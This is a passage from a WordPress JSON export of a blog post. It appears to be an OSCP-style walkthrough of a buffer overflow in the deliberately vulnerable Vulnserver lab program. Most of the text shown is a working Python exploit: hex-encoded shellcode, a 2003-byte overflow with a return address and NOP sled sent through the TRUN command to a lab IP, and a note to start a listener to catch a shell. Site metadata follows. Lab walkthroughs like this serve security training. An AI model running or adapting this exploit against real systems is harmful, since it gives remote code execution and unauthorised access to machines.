ec\\x1b\\x0b\\x53\\x67\\x68\\x39\\xfc\\xd3\\xe6\\x71\\x75\\xfa\\xf1\"\n\"\\x76\\xac\\xba\\x6d\\x89\\x4f\\xbb\\xa4\\x4e\\x1b\\xeb\\xde\\x67\\x24\\x60\"\n\"\\x1e\\x87\\xf1\\x27\\x4e\\x27\\xaa\\x87\\x3e\\x87\\x1a\\x60\\x54\\x08\\x44\"\n\"\\x90\\x57\\xc2\\xed\\x3b\\xa2\\x85\\xbd\\xac\\xea\\xdd\\xd6\\xce\\xf2\\xcc\"\n\"\\x7a\\x46\\x14\\x84\\x92\\x0e\\x8f\\x31\\x0a\\x0b\\x5b\\xa3\\xd3\\x81\\x26\"\n\"\\xe3\\x58\\x26\\xd7\\xaa\\xa8\\x43\\xcb\\x5b\\x59\\x1e\\xb1\\xca\\x66\\xb4\"\n\"\\xdd\\x91\\xf5\\x53\\x1d\\xdf\\xe5\\xcb\\x4a\\x88\\xd8\\x05\\x1e\\x24\\x42\"\n\"\\xbc\\x3c\\xb5\\x12\\x87\\x84\\x62\\xe7\\x06\\x05\\xe6\\x53\\x2d\\x15\\x3e\"\n\"\\x5b\\x69\\x41\\xee\\x0a\\x27\\x3f\\x48\\xe5\\x89\\xe9\\x02\\x5a\\x40\\x7d\"\n\"\\xd2\\x90\\x53\\xfb\\xdb\\xfc\\x25\\xe3\\x6a\\xa9\\x73\\x1c\\x42\\x3d\\x74\"\n\"\\x65\\xbe\\xdd\\x7b\\xbc\\x7a\\xfd\\x99\\x14\\x77\\x96\\x07\\xfd\\x3a\\xfb\"\n\"\\xb7\\x28\\x78\\x02\\x34\\xd8\\x01\\xf1\\x24\\xa9\\x04\\xbd\\xe2\\x42\\x75\"\n\"\\xae\\x86\\x64\\x2a\\xcf\\x82\" )\nshellcode = \"A\" * 2003 + \"\\xaf\\x11\\x50\\x62\" + \"\\x90\" * 32 + overflow\n\ntry:\n\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('172.16.70.134',9999))\n\n        s.send(('TRUN \/.:\/' + shellcode))\n        s.close\n\n\nexcept:\n        print \"Error connecting to the server\"\n        sys.exit()<\/code><\/pre>\n\n\n\n<p>Put the listenser on the port used in generating the payload &amp; fire the above script:<\/p>\n\n\n\n<p>VOILA! Shell.<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/catharsis.net.au\/wp-content\/uploads\/2020\/09\/image-20200920-021612.png\" alt=\"\" class=\"wp-image-1122\" width=\"577\" height=\"208\"\/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold or when a program attempts to put data in a memory area past a buffer. In this case, a buffer is a sequential section of memory allocated to contain anything from a character string to [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":927,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36,37],"tags":[39,41,40,42],"class_list":["post-918","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cve-exploits","category-walkthroughs","tag-buffer-overflow","tag-oscp","tag-vulnserver","tag-vulnserver-walkthrough"],"_links":{"self":[{"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/posts\/918","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/comments?post=918"}],"version-history":[{"count":13,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/posts\/918\/revisions"}],"predecessor-version":[{"id":945,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/posts\/918\/revisions\/945"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/media\/927"}],"wp:attachment":[{"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/media?parent=918"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/categories?post=918"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/tags?post=918"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}